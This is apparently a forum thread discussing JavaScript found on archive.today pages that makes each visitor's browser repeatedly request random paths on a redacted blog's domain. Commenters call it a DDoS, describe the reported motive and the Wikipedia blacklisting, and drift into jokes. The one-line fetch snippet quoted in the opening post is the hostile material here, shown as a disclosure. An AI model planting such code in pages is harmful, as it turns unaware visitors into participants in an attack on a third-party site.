    I just found this code in the archived page:

    setInterval(function(){fetch("https://xxxxxxxx.com/tag/"+Math.random().toString(36).substring(2,3+Math.random()*8)+"/",{ referrerPolicy:"no-referrer",mode:"no-cors" });},3000000);

    (X’d out actual domain)

    That’s a DDOS attack. WTF?

    truthout.org doesn’t even use paywalls. Same article at archive.org.

      I don’t know whether this is related, but Wikipedia has been blacklisting Archive.today after the controversial archive site was used to direct a distributed denial of service (DDoS) attack against a blog.

        And altering archived pages to further discredit the target of the DDOS attack!

          I don’t use Archive Today anymore over this, but I don’t know of a good replacement as the Web Archive doesn’t work on all sites as you will know. Any advice is welcome.

      Uhhh yeah that’s already been known about for a while. It targets the blog of a guy who documented the identity of the owner of archive today.

      Not a very effective DDOS if a single request is sent every 3000 seconds

      Do you mean that site is doing an automatic DDOS attack on the people who visit it?

        That’s javascript executed on your computer. Every time you visit archive.{today,ph,is,md,fo,li,vn} you contribute to a DDOS attack against one particular site.

        Whenever you need a band-aid, you’re sure to find one there.

        I’ll also see myself out.

      Their tourism and banking sectors start doing really well. Don’t leave without a visit to the iconic deposit box vaults, a real cultural highlight.

      They may be disappointed. Unlike the Nazis, most of MAGA’s “gold” is just metallic spray paint.
